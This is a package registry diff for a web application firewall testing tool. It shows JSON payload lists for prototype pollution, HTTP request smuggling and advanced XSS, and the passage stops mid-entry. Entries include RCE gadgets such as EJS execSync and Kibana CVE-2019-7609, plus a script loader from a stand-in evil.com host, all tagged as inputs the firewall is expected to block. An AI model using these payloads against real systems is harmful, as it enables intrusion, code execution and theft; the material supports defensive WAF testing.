@waftester/cli 2.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (141) hide show
  1. package/LICENSE +80 -0
  2. package/LICENSE-COMMUNITY +28 -0
  3. package/README.md +121 -0
  4. package/bin/cli.js +152 -0
  5. package/package.json +52 -0
  6. package/payloads/community/README.md +45 -0
  7. package/payloads/community/ai/ml-poisoning.json +173 -0
  8. package/payloads/community/ai/prompt-injection.json +247 -0
  9. package/payloads/community/ai/workflow-abuse.json +222 -0
  10. package/payloads/community/auth/jwt.json +855 -0
  11. package/payloads/community/auth/login-bypass.json +623 -0
  12. package/payloads/community/auth/mfa.json +402 -0
  13. package/payloads/community/auth/oauth.json +421 -0
  14. package/payloads/community/auth/open-redirect.json +1028 -0
  15. package/payloads/community/auth/session.json +404 -0
  16. package/payloads/community/cache/deception.json +402 -0
  17. package/payloads/community/cache/poisoning.json +403 -0
  18. package/payloads/community/deserialization/gadget.json +375 -0
  19. package/payloads/community/deserialization/prototype.json +370 -0
  20. package/payloads/community/fuzz/content-type.json +397 -0
  21. package/payloads/community/fuzz/headers.json +401 -0
  22. package/payloads/community/fuzz/methods.json +397 -0
  23. package/payloads/community/fuzz/obfuscation.json +362 -0
  24. package/payloads/community/fuzz/special-chars.json +740 -0
  25. package/payloads/community/fuzz/waf-bypass.json +452 -0
  26. package/payloads/community/graphql/batching-abuse.json +271 -0
  27. package/payloads/community/graphql/depth-limit.json +271 -0
  28. package/payloads/community/graphql/introspection.json +267 -0
  29. package/payloads/community/injection/crlf.json +569 -0
  30. package/payloads/community/injection/ldap.json +357 -0
  31. package/payloads/community/injection/nosqli.json +529 -0
  32. package/payloads/community/injection/oscmd.json +662 -0
  33. package/payloads/community/injection/rce-polyglots.json +452 -0
  34. package/payloads/community/injection/sqli.json +681 -0
  35. package/payloads/community/injection/ssti.json +584 -0
  36. package/payloads/community/injection/upload-attacks.json +632 -0
  37. package/payloads/community/injection/xpath.json +357 -0
  38. package/payloads/community/injection/xxe.json +716 -0
  39. package/payloads/community/logic/forced-browsing.json +405 -0
  40. package/payloads/community/logic/idor.json +1026 -0
  41. package/payloads/community/logic/privilege.json +337 -0
  42. package/payloads/community/media/exif-injection.json +225 -0
  43. package/payloads/community/media/metadata-poison.json +239 -0
  44. package/payloads/community/protocol/http-smuggling.json +798 -0
  45. package/payloads/community/protocol/http2-attacks.json +382 -0
  46. package/payloads/community/protocol/websocket-abuse.json +375 -0
  47. package/payloads/community/rate-limit/burst-simulation.json +286 -0
  48. package/payloads/community/rate-limit/bypass-attempts.json +326 -0
  49. package/payloads/community/rate-limit/zone-tests.json +332 -0
  50. package/payloads/community/services/authentik.json +415 -0
  51. package/payloads/community/services/immich.json +423 -0
  52. package/payloads/community/services/n8n.json +366 -0
  53. package/payloads/community/sqli-basic.json +182 -0
  54. package/payloads/community/ssrf/cloud-metadata.json +999 -0
  55. package/payloads/community/ssrf/dns-rebinding.json +503 -0
  56. package/payloads/community/ssrf/internal-networks.json +627 -0
  57. package/payloads/community/ssrf/protocol-smuggling.json +350 -0
  58. package/payloads/community/ssti/multi-language-templates.json +191 -0
  59. package/payloads/community/ssti/python-templates.json +200 -0
  60. package/payloads/community/traversal/basic.json +675 -0
  61. package/payloads/community/traversal/cloud-credentials.json +107 -0
  62. package/payloads/community/traversal/config-files.json +193 -0
  63. package/payloads/community/traversal/encoding.json +558 -0
  64. package/payloads/community/traversal/null-byte.json +105 -0
  65. package/payloads/community/traversal/symlink.json +93 -0
  66. package/payloads/community/traversal/unicode.json +134 -0
  67. package/payloads/community/traversal/unix-advanced.json +195 -0
  68. package/payloads/community/traversal/windows-advanced.json +195 -0
  69. package/payloads/community/waf-bypass/cloudflare-bypass.json +102 -0
  70. package/payloads/community/waf-bypass/encoding-bypass.json +120 -0
  71. package/payloads/community/waf-bypass/evasion-techniques.json +164 -0
  72. package/payloads/community/waf-bypass/hpp-bypass.json +92 -0
  73. package/payloads/community/waf-bypass/modsecurity-crs.json +220 -0
  74. package/payloads/community/waf-bypass/protocol-attacks.json +101 -0
  75. package/payloads/community/waf-bypass/sqlmap-tamper.json +252 -0
  76. package/payloads/community/waf-bypass/unicode-charset.json +152 -0
  77. package/payloads/community/waf-bypass/vendor-bypasses.json +72 -0
  78. package/payloads/community/waf-validation/README.md +172 -0
  79. package/payloads/community/waf-validation/bypass-techniques.json +272 -0
  80. package/payloads/community/waf-validation/custom-rules.json +952 -0
  81. package/payloads/community/waf-validation/evasion-techniques.json +272 -0
  82. package/payloads/community/waf-validation/modsecurity-core.json +151 -0
  83. package/payloads/community/waf-validation/owasp-top10.json +236 -0
  84. package/payloads/community/waf-validation/regression-tests.json +227 -0
  85. package/payloads/community/xss/csp-bypass.json +431 -0
  86. package/payloads/community/xss/dom.json +389 -0
  87. package/payloads/community/xss/filter-bypass.json +1242 -0
  88. package/payloads/community/xss/mutation.json +263 -0
  89. package/payloads/community/xss/polyglots.json +371 -0
  90. package/payloads/community/xss/reflected.json +187 -0
  91. package/payloads/community/xss/stored.json +330 -0
  92. package/payloads/crlf-injection.json +182 -0
  93. package/payloads/ids-map.json +155 -0
  94. package/payloads/ldap-injection.json +182 -0
  95. package/payloads/nosql-injection.json +227 -0
  96. package/payloads/prototype-pollution.json +182 -0
  97. package/payloads/request-smuggling.json +182 -0
  98. package/payloads/version.json +28 -0
  99. package/payloads/xss-advanced.json +227 -0
  100. package/templates/README.md +221 -0
  101. package/templates/nuclei/http/waf-bypass/crlf-bypass.yaml +146 -0
  102. package/templates/nuclei/http/waf-bypass/lfi-bypass.yaml +152 -0
  103. package/templates/nuclei/http/waf-bypass/nosqli-bypass.yaml +166 -0
  104. package/templates/nuclei/http/waf-bypass/rce-bypass.yaml +171 -0
  105. package/templates/nuclei/http/waf-bypass/sqli-basic.yaml +142 -0
  106. package/templates/nuclei/http/waf-bypass/sqli-evasion.yaml +192 -0
  107. package/templates/nuclei/http/waf-bypass/ssrf-bypass.yaml +130 -0
  108. package/templates/nuclei/http/waf-bypass/ssti-bypass.yaml +147 -0
  109. package/templates/nuclei/http/waf-bypass/xss-basic.yaml +163 -0
  110. package/templates/nuclei/http/waf-bypass/xss-evasion.yaml +217 -0
  111. package/templates/nuclei/http/waf-bypass/xxe-bypass.yaml +204 -0
  112. package/templates/nuclei/http/waf-detection/akamai-detect.yaml +105 -0
  113. package/templates/nuclei/http/waf-detection/aws-waf-detect.yaml +115 -0
  114. package/templates/nuclei/http/waf-detection/azure-waf-detect.yaml +114 -0
  115. package/templates/nuclei/http/waf-detection/cloudflare-detect.yaml +121 -0
  116. package/templates/nuclei/http/waf-detection/modsecurity-detect.yaml +129 -0
  117. package/templates/nuclei/workflows/waf-assessment-workflow.yaml +71 -0
  118. package/templates/output/asff.tmpl +61 -0
  119. package/templates/output/csv.tmpl +4 -0
  120. package/templates/output/junit.tmpl +34 -0
  121. package/templates/output/markdown-report.tmpl +92 -0
  122. package/templates/output/slack-notification.tmpl +95 -0
  123. package/templates/output/text-summary.tmpl +56 -0
  124. package/templates/overrides/api-only.yaml +130 -0
  125. package/templates/overrides/crs-tuning.yaml +204 -0
  126. package/templates/overrides/false-positive-suppression.yaml +159 -0
  127. package/templates/policies/owasp-top10.yaml +152 -0
  128. package/templates/policies/pci-dss.yaml +124 -0
  129. package/templates/policies/permissive.yaml +40 -0
  130. package/templates/policies/standard.yaml +57 -0
  131. package/templates/policies/strict.yaml +72 -0
  132. package/templates/report-configs/compliance.yaml +173 -0
  133. package/templates/report-configs/dark.yaml +136 -0
  134. package/templates/report-configs/enterprise.yaml +175 -0
  135. package/templates/report-configs/minimal.yaml +84 -0
  136. package/templates/report-configs/print.yaml +139 -0
  137. package/templates/workflows/api-scan.yaml +132 -0
  138. package/templates/workflows/ci-gate.yaml +129 -0
  139. package/templates/workflows/full-scan.yaml +133 -0
  140. package/templates/workflows/quick-probe.yaml +80 -0
  141. package/templates/workflows/waf-detection.yaml +89 -0
@@ -0,0 +1,182 @@
1
+ [
2
+ {
3
+ "id": "proto-001",
4
+ "payload": "{\"__proto__\": {\"isAdmin\": true}}",
5
+ "tags": ["prototype-pollution", "json", "privilege-escalation"],
6
+ "expected_block": true,
7
+ "severity_hint": "critical",
8
+ "notes": "Basic prototype pollution - add isAdmin property",
9
+ "category": "Deserialization"
10
+ },
11
+ {
12
+ "id": "proto-002",
13
+ "payload": "{\"__proto__\": {\"admin\": true}}",
14
+ "tags": ["prototype-pollution", "json", "privilege-escalation"],
15
+ "expected_block": true,
16
+ "severity_hint": "critical",
17
+ "notes": "Prototype pollution - add admin property",
18
+ "category": "Deserialization"
19
+ },
20
+ {
21
+ "id": "proto-003",
22
+ "payload": "{\"constructor\": {\"prototype\": {\"isAdmin\": true}}}",
23
+ "tags": ["prototype-pollution", "json", "constructor"],
24
+ "expected_block": true,
25
+ "severity_hint": "critical",
26
+ "notes": "Prototype pollution via constructor.prototype",
27
+ "category": "Deserialization"
28
+ },
29
+ {
30
+ "id": "proto-004",
31
+ "payload": "?__proto__[isAdmin]=true",
32
+ "tags": ["prototype-pollution", "querystring"],
33
+ "expected_block": true,
34
+ "severity_hint": "critical",
35
+ "notes": "URL query string prototype pollution",
36
+ "category": "Deserialization"
37
+ },
38
+ {
39
+ "id": "proto-005",
40
+ "payload": "?a[__proto__][isAdmin]=true",
41
+ "tags": ["prototype-pollution", "querystring", "nested"],
42
+ "expected_block": true,
43
+ "severity_hint": "critical",
44
+ "notes": "Nested query string prototype pollution",
45
+ "category": "Deserialization"
46
+ },
47
+ {
48
+ "id": "proto-006",
49
+ "payload": "?a[constructor][prototype][isAdmin]=true",
50
+ "tags": ["prototype-pollution", "querystring", "constructor"],
51
+ "expected_block": true,
52
+ "severity_hint": "critical",
53
+ "notes": "Constructor-based query string pollution",
54
+ "category": "Deserialization"
55
+ },
56
+ {
57
+ "id": "proto-007",
58
+ "payload": "{\"__proto__\": {\"evilProperty\": \"evilPayload\"}}",
59
+ "tags": ["prototype-pollution", "json"],
60
+ "expected_block": true,
61
+ "severity_hint": "high",
62
+ "notes": "Generic prototype pollution payload",
63
+ "category": "Deserialization"
64
+ },
65
+ {
66
+ "id": "proto-008",
67
+ "payload": "{\"__proto__\": {\"shell\": \"node\", \"NODE_OPTIONS\": \"--inspect=attacker.com\"}}",
68
+ "tags": ["prototype-pollution", "nodejs", "rce"],
69
+ "expected_block": true,
70
+ "severity_hint": "critical",
71
+ "notes": "NodeJS prototype pollution RCE via NODE_OPTIONS",
72
+ "category": "Deserialization"
73
+ },
74
+ {
75
+ "id": "proto-009",
76
+ "payload": "{\"__proto__\": {\"argv0\": \"node\", \"shell\": \"node\", \"NODE_OPTIONS\": \"--inspect=payload\"}}",
77
+ "tags": ["prototype-pollution", "nodejs", "rce", "async"],
78
+ "expected_block": true,
79
+ "severity_hint": "critical",
80
+ "notes": "NodeJS async hook prototype pollution RCE",
81
+ "category": "Deserialization"
82
+ },
83
+ {
84
+ "id": "proto-010",
85
+ "payload": "{\"__proto__\": {\"outputFunctionName\": \"x;process.mainModule.require('child_process').execSync('id');s\"}}",
86
+ "tags": ["prototype-pollution", "ejs", "rce"],
87
+ "expected_block": true,
88
+ "severity_hint": "critical",
89
+ "notes": "EJS gadget prototype pollution RCE",
90
+ "category": "Deserialization"
91
+ },
92
+ {
93
+ "id": "proto-011",
94
+ "payload": "{\"__proto__\": {\"escapeFunction\": \"(() => {})//\"}}",
95
+ "tags": ["prototype-pollution", "ejs", "rce"],
96
+ "expected_block": true,
97
+ "severity_hint": "critical",
98
+ "notes": "EJS escapeFunction gadget",
99
+ "category": "Deserialization"
100
+ },
101
+ {
102
+ "id": "proto-012",
103
+ "payload": "{\"__proto__\": {\"client\": true, \"escapeFunction\": \"1;return process.env\"}}",
104
+ "tags": ["prototype-pollution", "ejs", "info-disclosure"],
105
+ "expected_block": true,
106
+ "severity_hint": "high",
107
+ "notes": "EJS prototype pollution environment leak",
108
+ "category": "Deserialization"
109
+ },
110
+ {
111
+ "id": "proto-013",
112
+ "payload": ".es(*).props(label.__proto__.env.AAAA='require(\"child_process\").exec(\"id\")')",
113
+ "tags": ["prototype-pollution", "kibana", "cve-2019-7609"],
114
+ "expected_block": true,
115
+ "severity_hint": "critical",
116
+ "notes": "Kibana CVE-2019-7609 prototype pollution RCE",
117
+ "category": "Deserialization"
118
+ },
119
+ {
120
+ "id": "proto-014",
121
+ "payload": "{\"__proto__\": {\"parameterLimit\": 1}}",
122
+ "tags": ["prototype-pollution", "express", "dos"],
123
+ "expected_block": true,
124
+ "severity_hint": "medium",
125
+ "notes": "ExpressJS prototype pollution detection",
126
+ "category": "Deserialization"
127
+ },
128
+ {
129
+ "id": "proto-015",
130
+ "payload": "{\"__proto__\": {\"status\": 510}}",
131
+ "tags": ["prototype-pollution", "express", "detection"],
132
+ "expected_block": true,
133
+ "severity_hint": "medium",
134
+ "notes": "ExpressJS response status pollution",
135
+ "category": "Deserialization"
136
+ },
137
+ {
138
+ "id": "proto-016",
139
+ "payload": "__proto__[polluted]=true",
140
+ "tags": ["prototype-pollution", "form-data"],
141
+ "expected_block": true,
142
+ "severity_hint": "high",
143
+ "notes": "Form data prototype pollution",
144
+ "category": "Deserialization"
145
+ },
146
+ {
147
+ "id": "proto-017",
148
+ "payload": "constructor.prototype.polluted=true",
149
+ "tags": ["prototype-pollution", "form-data", "constructor"],
150
+ "expected_block": true,
151
+ "severity_hint": "high",
152
+ "notes": "Form data constructor pollution",
153
+ "category": "Deserialization"
154
+ },
155
+ {
156
+ "id": "proto-018",
157
+ "payload": "{\"__proto__\": {\"allowedHosts\": \"all\"}}",
158
+ "tags": ["prototype-pollution", "webpack", "bypass"],
159
+ "expected_block": true,
160
+ "severity_hint": "high",
161
+ "notes": "Webpack dev server prototype pollution",
162
+ "category": "Deserialization"
163
+ },
164
+ {
165
+ "id": "proto-019",
166
+ "payload": "?__proto__.onerror=alert(1)",
167
+ "tags": ["prototype-pollution", "xss", "dom"],
168
+ "expected_block": true,
169
+ "severity_hint": "high",
170
+ "notes": "Client-side prototype pollution to XSS",
171
+ "category": "Deserialization"
172
+ },
173
+ {
174
+ "id": "proto-020",
175
+ "payload": "?__proto__[innerHTML]=<img/src/onerror=alert(1)>",
176
+ "tags": ["prototype-pollution", "xss", "dom"],
177
+ "expected_block": true,
178
+ "severity_hint": "high",
179
+ "notes": "Prototype pollution innerHTML XSS gadget",
180
+ "category": "Deserialization"
181
+ }
182
+ ]
@@ -0,0 +1,182 @@
1
+ [
2
+ {
3
+ "id": "smuggle-001",
4
+ "payload": "Transfer-Encoding: chunked",
5
+ "tags": ["request-smuggling", "header", "chunked"],
6
+ "expected_block": true,
7
+ "severity_hint": "high",
8
+ "notes": "Transfer-Encoding header - used in smuggling attacks",
9
+ "category": "Protocol"
10
+ },
11
+ {
12
+ "id": "smuggle-002",
13
+ "payload": "Transfer-Encoding: xchunked",
14
+ "tags": ["request-smuggling", "header", "obfuscation"],
15
+ "expected_block": true,
16
+ "severity_hint": "high",
17
+ "notes": "TE.TE obfuscation - malformed chunked",
18
+ "category": "Protocol"
19
+ },
20
+ {
21
+ "id": "smuggle-003",
22
+ "payload": "Transfer-Encoding : chunked",
23
+ "tags": ["request-smuggling", "header", "obfuscation"],
24
+ "expected_block": true,
25
+ "severity_hint": "high",
26
+ "notes": "TE.TE obfuscation - space before colon",
27
+ "category": "Protocol"
28
+ },
29
+ {
30
+ "id": "smuggle-004",
31
+ "payload": " Transfer-Encoding: chunked",
32
+ "tags": ["request-smuggling", "header", "obfuscation"],
33
+ "expected_block": true,
34
+ "severity_hint": "high",
35
+ "notes": "TE.TE obfuscation - leading space",
36
+ "category": "Protocol"
37
+ },
38
+ {
39
+ "id": "smuggle-005",
40
+ "payload": "Transfer-Encoding:\tchunked",
41
+ "tags": ["request-smuggling", "header", "obfuscation"],
42
+ "expected_block": true,
43
+ "severity_hint": "high",
44
+ "notes": "TE.TE obfuscation - tab separator",
45
+ "category": "Protocol"
46
+ },
47
+ {
48
+ "id": "smuggle-006",
49
+ "payload": "X: X\nTransfer-Encoding: chunked",
50
+ "tags": ["request-smuggling", "header", "newline"],
51
+ "expected_block": true,
52
+ "severity_hint": "high",
53
+ "notes": "TE.TE obfuscation - newline before TE",
54
+ "category": "Protocol"
55
+ },
56
+ {
57
+ "id": "smuggle-007",
58
+ "payload": "Transfer-Encoding\n: chunked",
59
+ "tags": ["request-smuggling", "header", "obfuscation"],
60
+ "expected_block": true,
61
+ "severity_hint": "high",
62
+ "notes": "TE.TE obfuscation - newline in header name",
63
+ "category": "Protocol"
64
+ },
65
+ {
66
+ "id": "smuggle-008",
67
+ "payload": "0\r\n\r\nGET /admin HTTP/1.1\r\nHost: target.com\r\n\r\n",
68
+ "tags": ["request-smuggling", "cl-te", "request-injection"],
69
+ "expected_block": true,
70
+ "severity_hint": "critical",
71
+ "notes": "CL.TE smuggled request to /admin",
72
+ "category": "Protocol"
73
+ },
74
+ {
75
+ "id": "smuggle-009",
76
+ "payload": "0\r\n\r\nPOST /admin HTTP/1.1\r\nHost: target.com\r\nContent-Length: 10\r\n\r\ndata=evil",
77
+ "tags": ["request-smuggling", "cl-te", "post-injection"],
78
+ "expected_block": true,
79
+ "severity_hint": "critical",
80
+ "notes": "CL.TE smuggled POST request",
81
+ "category": "Protocol"
82
+ },
83
+ {
84
+ "id": "smuggle-010",
85
+ "payload": "Content-Length: 0\r\nTransfer-Encoding: chunked",
86
+ "tags": ["request-smuggling", "cl-te", "headers"],
87
+ "expected_block": true,
88
+ "severity_hint": "high",
89
+ "notes": "CL.TE conflicting headers",
90
+ "category": "Protocol"
91
+ },
92
+ {
93
+ "id": "smuggle-011",
94
+ "payload": "Transfer-Encoding: chunked\r\nContent-Length: 4",
95
+ "tags": ["request-smuggling", "te-cl", "headers"],
96
+ "expected_block": true,
97
+ "severity_hint": "high",
98
+ "notes": "TE.CL conflicting headers",
99
+ "category": "Protocol"
100
+ },
101
+ {
102
+ "id": "smuggle-012",
103
+ "payload": "Transfer-Encoding: chunked\r\nTransfer-Encoding: identity",
104
+ "tags": ["request-smuggling", "te-te", "duplicate"],
105
+ "expected_block": true,
106
+ "severity_hint": "high",
107
+ "notes": "TE.TE duplicate Transfer-Encoding headers",
108
+ "category": "Protocol"
109
+ },
110
+ {
111
+ "id": "smuggle-013",
112
+ "payload": "Transfer-Encoding: chunked, identity",
113
+ "tags": ["request-smuggling", "te-te", "multiple-values"],
114
+ "expected_block": true,
115
+ "severity_hint": "high",
116
+ "notes": "TE.TE multiple values in single header",
117
+ "category": "Protocol"
118
+ },
119
+ {
120
+ "id": "smuggle-014",
121
+ "payload": "Transfer-Encoding: chunk",
122
+ "tags": ["request-smuggling", "te-te", "truncated"],
123
+ "expected_block": true,
124
+ "severity_hint": "medium",
125
+ "notes": "TE.TE truncated value",
126
+ "category": "Protocol"
127
+ },
128
+ {
129
+ "id": "smuggle-015",
130
+ "payload": "Foo: bar\r\n\r\nGET / HTTP/1.1\r\nHost: smuggled.com",
131
+ "tags": ["request-smuggling", "header-injection"],
132
+ "expected_block": true,
133
+ "severity_hint": "critical",
134
+ "notes": "HTTP/2 downgrade request smuggling",
135
+ "category": "Protocol"
136
+ },
137
+ {
138
+ "id": "smuggle-016",
139
+ "payload": "GET / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 50\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /evil HTTP/1.1\r\nHost: evil.com\r\n\r\n",
140
+ "tags": ["request-smuggling", "full-request"],
141
+ "expected_block": true,
142
+ "severity_hint": "critical",
143
+ "notes": "Complete request smuggling payload",
144
+ "category": "Protocol"
145
+ },
146
+ {
147
+ "id": "smuggle-017",
148
+ "payload": "GPOST / HTTP/1.1",
149
+ "tags": ["request-smuggling", "method-confusion"],
150
+ "expected_block": true,
151
+ "severity_hint": "medium",
152
+ "notes": "Method confusion attack (GPOST)",
153
+ "category": "Protocol"
154
+ },
155
+ {
156
+ "id": "smuggle-018",
157
+ "payload": "Content-Length: 6\r\nContent-Length: 100",
158
+ "tags": ["request-smuggling", "duplicate-cl"],
159
+ "expected_block": true,
160
+ "severity_hint": "high",
161
+ "notes": "Duplicate Content-Length headers",
162
+ "category": "Protocol"
163
+ },
164
+ {
165
+ "id": "smuggle-019",
166
+ "payload": "Content-Length : 6",
167
+ "tags": ["request-smuggling", "cl-obfuscation"],
168
+ "expected_block": true,
169
+ "severity_hint": "medium",
170
+ "notes": "Content-Length with space before colon",
171
+ "category": "Protocol"
172
+ },
173
+ {
174
+ "id": "smuggle-020",
175
+ "payload": "fetch('/', {method:'POST',body:'0\\r\\n\\r\\nGET /admin HTTP/1.1\\r\\nHost: x\\r\\n\\r\\n'})",
176
+ "tags": ["request-smuggling", "client-side", "desync"],
177
+ "expected_block": true,
178
+ "severity_hint": "critical",
179
+ "notes": "Client-side desync attack via fetch",
180
+ "category": "Protocol"
181
+ }
182
+ ]
@@ -0,0 +1,28 @@
1
+ {
2
+ "version": "4.0.0",
3
+ "last_updated": "2025-01-22T10:00:00Z",
4
+ "update_type": "major",
5
+ "source": "enterprise-repositories-deep-audit",
6
+ "description": "Deep audit expansion from PayloadsAllTheThings: 2,822 payloads with WAF-specific bypasses",
7
+ "payload_counts": {
8
+ "injection": 602,
9
+ "xss": 298,
10
+ "traversal": 188,
11
+ "auth": 362,
12
+ "ssrf": 230,
13
+ "protocol": 130,
14
+ "graphql": 60,
15
+ "cache": 60,
16
+ "logic": 147,
17
+ "deserialization": 60,
18
+ "fuzz": 290,
19
+ "ai": 46,
20
+ "media": 33,
21
+ "rate_limit": 51,
22
+ "services": 100,
23
+ "waf_validation": 221
24
+ },
25
+ "total_payloads": 2822,
26
+ "total_tests": 2822,
27
+ "notes": "v4.0.0 additions (+302): Cloud metadata SSRF bypasses (AWS/GCP/Azure/Oracle/DO/Hetzner/k8s encoding), XXE advanced (Billion Laughs, XSLT RCE, SVG/SOAP/Office XXE), LFI encoding (base64, UNC paths, mixed slashes, semicolon bypass), CSP bypass (JSONP Google/YouTube/Blogger/Yandex/VK/Uber), WAF-specific bypasses (Cloudflare/Akamai/Incapsula/Fortiweb/WordFence/Imperva), DNS rebinding (1u.ms, IPv6 mapped, URL parser confusion), Open redirect Unicode/CRLF/punycode/hex-IP bypasses"
28
+ }
@@ -0,0 +1,227 @@
1
+ [
2
+ {
3
+ "id": "xss-adv-001",
4
+ "payload": "<script>\\u0061\\u006C\\u0065\\u0072\\u0074(1)</script>",
5
+ "tags": ["xss", "unicode-escape", "bypass"],
6
+ "expected_block": true,
7
+ "severity_hint": "high",
8
+ "notes": "XSS with Unicode escape sequences for 'alert'",
9
+ "category": "XSS"
10
+ },
11
+ {
12
+ "id": "xss-adv-002",
13
+ "payload": "\\uFF1Cscript\\uFF1Ealert(1)\\uFF1C/script\\uFF1E",
14
+ "tags": ["xss", "fullwidth", "bypass"],
15
+ "expected_block": true,
16
+ "severity_hint": "high",
17
+ "notes": "XSS with fullwidth characters for < and >",
18
+ "category": "XSS"
19
+ },
20
+ {
21
+ "id": "xss-adv-003",
22
+ "payload": "%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E",
23
+ "tags": ["xss", "utf32", "bypass"],
24
+ "expected_block": true,
25
+ "severity_hint": "high",
26
+ "notes": "XSS with UTF-32 encoding",
27
+ "category": "XSS"
28
+ },
29
+ {
30
+ "id": "xss-adv-004",
31
+ "payload": "+ADw-script+AD4-alert(1)+ADw-/script+AD4-",
32
+ "tags": ["xss", "utf7", "bypass"],
33
+ "expected_block": true,
34
+ "severity_hint": "high",
35
+ "notes": "XSS with UTF-7 encoding",
36
+ "category": "XSS"
37
+ },
38
+ {
39
+ "id": "xss-adv-005",
40
+ "payload": "<a href=\"j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(document.domain)&rpar;\">X</a>",
41
+ "tags": ["xss", "html-entities", "cloudflare-bypass"],
42
+ "expected_block": true,
43
+ "severity_hint": "high",
44
+ "notes": "Cloudflare bypass using HTML entities and whitespace",
45
+ "category": "XSS"
46
+ },
47
+ {
48
+ "id": "xss-adv-006",
49
+ "payload": "゙ア='',゙セ=!゙ア+゙ア,゙エ=!゙セ+゙ア,゙ソ=゙ア+{},゙ト=゙セ[゙ア++]",
50
+ "tags": ["xss", "katakana", "bypass"],
51
+ "expected_block": true,
52
+ "severity_hint": "high",
53
+ "notes": "JSFuck-style XSS using Katakana characters",
54
+ "category": "XSS"
55
+ },
56
+ {
57
+ "id": "xss-adv-007",
58
+ "payload": "𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{}",
59
+ "tags": ["xss", "cuneiform", "bypass"],
60
+ "expected_block": true,
61
+ "severity_hint": "high",
62
+ "notes": "XSS using Cuneiform script characters",
63
+ "category": "XSS"
64
+ },
65
+ {
66
+ "id": "xss-adv-008",
67
+ "payload": "ᨒ='',ᨕ=!ᨒ+ᨒ,ᨖ=!ᨕ+ᨒ,ᨘ=ᨒ+{}",
68
+ "tags": ["xss", "lontara", "bypass"],
69
+ "expected_block": true,
70
+ "severity_hint": "high",
71
+ "notes": "XSS using Lontara script characters",
72
+ "category": "XSS"
73
+ },
74
+ {
75
+ "id": "xss-adv-009",
76
+ "payload": "<img src=x onerror=`alert\\`1\\``>",
77
+ "tags": ["xss", "template-literal", "es6"],
78
+ "expected_block": true,
79
+ "severity_hint": "high",
80
+ "notes": "XSS using ES6 template literals",
81
+ "category": "XSS"
82
+ },
83
+ {
84
+ "id": "xss-adv-010",
85
+ "payload": "<img src=x onerror=alert?.(`1`)>",
86
+ "tags": ["xss", "optional-chaining", "es2020"],
87
+ "expected_block": true,
88
+ "severity_hint": "high",
89
+ "notes": "XSS using ES2020 optional chaining",
90
+ "category": "XSS"
91
+ },
92
+ {
93
+ "id": "xss-adv-011",
94
+ "payload": "<img src=x onerror=\\141\\154\\145\\162\\164(1)>",
95
+ "tags": ["xss", "octal-escape", "bypass"],
96
+ "expected_block": true,
97
+ "severity_hint": "high",
98
+ "notes": "XSS with octal-encoded 'alert'",
99
+ "category": "XSS"
100
+ },
101
+ {
102
+ "id": "xss-adv-012",
103
+ "payload": "<form id=x><output id=y>XSS</output>",
104
+ "tags": ["xss", "dom-clobbering", "form"],
105
+ "expected_block": true,
106
+ "severity_hint": "medium",
107
+ "notes": "DOM clobbering via form/output elements",
108
+ "category": "XSS"
109
+ },
110
+ {
111
+ "id": "xss-adv-013",
112
+ "payload": "<a id=x><a id=x name=y href=\"javascript:alert(1)\">",
113
+ "tags": ["xss", "dom-clobbering", "collection"],
114
+ "expected_block": true,
115
+ "severity_hint": "high",
116
+ "notes": "DOM clobbering via DOM collection",
117
+ "category": "XSS"
118
+ },
119
+ {
120
+ "id": "xss-adv-014",
121
+ "payload": "<iframe name=a srcdoc=\"<iframe srcdoc='<a/id=c/name=d/href=http://evil.com>'></iframe>\">",
122
+ "tags": ["xss", "dom-clobbering", "nested-iframe"],
123
+ "expected_block": true,
124
+ "severity_hint": "high",
125
+ "notes": "Deep DOM clobbering via nested iframes",
126
+ "category": "XSS"
127
+ },
128
+ {
129
+ "id": "xss-adv-015",
130
+ "payload": "<script src=\"data:text/javascript,alert(1)\"></script>",
131
+ "tags": ["xss", "data-uri", "csp-bypass"],
132
+ "expected_block": true,
133
+ "severity_hint": "high",
134
+ "notes": "XSS via data: URI script src",
135
+ "category": "XSS"
136
+ },
137
+ {
138
+ "id": "xss-adv-016",
139
+ "payload": "<meta http-equiv=\"refresh\" content=\"0;url=javascript:alert(1)\">",
140
+ "tags": ["xss", "meta-refresh", "bypass"],
141
+ "expected_block": true,
142
+ "severity_hint": "high",
143
+ "notes": "XSS via meta refresh to javascript:",
144
+ "category": "XSS"
145
+ },
146
+ {
147
+ "id": "xss-adv-017",
148
+ "payload": "f=document.createElement(\"iframe\");f.src=\"/robots.txt\";f.onload=()=>{x=document.createElement('script');x.src='//evil.com/xss.js';f.contentWindow.document.body.appendChild(x)};document.body.appendChild(f);",
149
+ "tags": ["xss", "csp-bypass", "iframe"],
150
+ "expected_block": true,
151
+ "severity_hint": "critical",
152
+ "notes": "CSP bypass via iframe contentWindow",
153
+ "category": "XSS"
154
+ },
155
+ {
156
+ "id": "xss-adv-018",
157
+ "payload": "/?xss=<script>alert(1)</script>&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a&a",
158
+ "tags": ["xss", "csp-bypass", "parameter-limit"],
159
+ "expected_block": true,
160
+ "severity_hint": "high",
161
+ "notes": "PHP CSP bypass via max_input_vars (1000 params)",
162
+ "category": "XSS"
163
+ },
164
+ {
165
+ "id": "xss-adv-019",
166
+ "payload": "<object data=\"javascript:alert(1)\">",
167
+ "tags": ["xss", "object-tag"],
168
+ "expected_block": true,
169
+ "severity_hint": "high",
170
+ "notes": "XSS via object tag data attribute",
171
+ "category": "XSS"
172
+ },
173
+ {
174
+ "id": "xss-adv-020",
175
